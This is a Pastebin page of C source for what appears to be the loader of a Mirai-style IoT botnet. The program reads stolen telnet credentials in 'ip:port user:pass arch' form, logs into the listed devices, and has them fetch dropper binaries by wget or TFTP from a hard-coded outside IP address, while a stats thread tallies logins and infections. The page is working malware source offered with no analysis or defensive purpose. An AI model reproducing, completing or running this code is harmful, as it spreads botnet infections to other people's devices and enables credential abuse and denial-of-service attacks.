Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # wget http://pastebin.com/raw/h435YsyY -O main.c
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
- #include <unistd.h>
- #include <pthread.h>
- #include <sys/socket.h>
- #include <errno.h>
- #include "headers/includes.h"
- #include "headers/server.h"
- #include "headers/telnet_info.h"
- #include "headers/binary.h"
- #include "headers/util.h"
- static void *stats_thread(void *);
- static struct server *srv;
- char *id_tag = "telnet";
- int main(int argc, char **args)
- {
- pthread_t stats_thrd;
- uint8_t addrs_len;
- ipv4_t *addrs;
- uint32_t total = 0;
- struct telnet_info info;
- #ifdef DEBUG
- addrs_len = 1;
- addrs = calloc(4, sizeof (ipv4_t));
- addrs[0] = inet_addr("0.0.0.0");
- #else
- addrs_len = 1;
- addrs = calloc(addrs_len, sizeof (ipv4_t));
- addrs[0] = inet_addr("0.0.0.0");
- #endif
- if (argc == 2)
- {
- id_tag = args[1];
- }
- if (!binary_init())
- {
- printf("Failed to load bins/dlr.* as dropper\n");
- return 1;
- }
- /* wget address tftp address */
- if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "89.36.214.132", 80, "89.36.214.132")) == NULL)
- {
- printf("Failed to initialize server. Aborting\n");
- return 1;
- }
- pthread_create(&stats_thrd, NULL, stats_thread, NULL);
- // Read from stdin
- while (TRUE)
- {
- char strbuf[1024];
- if (fgets(strbuf, sizeof (strbuf), stdin) == NULL)
- break;
- util_trim(strbuf);
- if (strlen(strbuf) == 0)
- {
- usleep(10000);
- continue;
- }
- memset(&info, 0, sizeof(struct telnet_info));
- if (telnet_info_parse(strbuf, &info) == NULL)
- printf("Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n", strbuf);
- else
- {
- if (srv == NULL)
- printf("srv == NULL 2\n");
- server_queue_telnet(srv, &info);
- if (total++ % 1000 == 0)
- sleep(1);
- }
- ATOMIC_INC(&srv->total_input);
- }
- printf("Hit end of input.\n");
- while(ATOMIC_GET(&srv->curr_open) > 0)
- sleep(1);
- return 0;
- }
- static void *stats_thread(void *arg)
- {
- uint32_t seconds = 0;
- while (TRUE)
- {
- #ifndef DEBUG
- printf("%ds\tProcessed: \033[34m%d\t\033[0m Conns: \033[32m%d\t\033[0m Logins: \033[36m%d\t\033[0m Ran: \033[31m%d\t\033[0m Echoes: \033[35m%d\033[0m Wgets: \033[33m%d\033[0m TFTPs: \033[36m%d\033[0m\n",
- seconds++, ATOMIC_GET(&srv->total_input), ATOMIC_GET(&srv->curr_open), ATOMIC_GET(&srv->total_logins), ATOMIC_GET(&srv->total_successes),
- ATOMIC_GET(&srv->total_echoes), ATOMIC_GET(&srv->total_wgets), ATOMIC_GET(&srv->total_tftps));
- #endif
- fflush(stdout);
- sleep(1);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment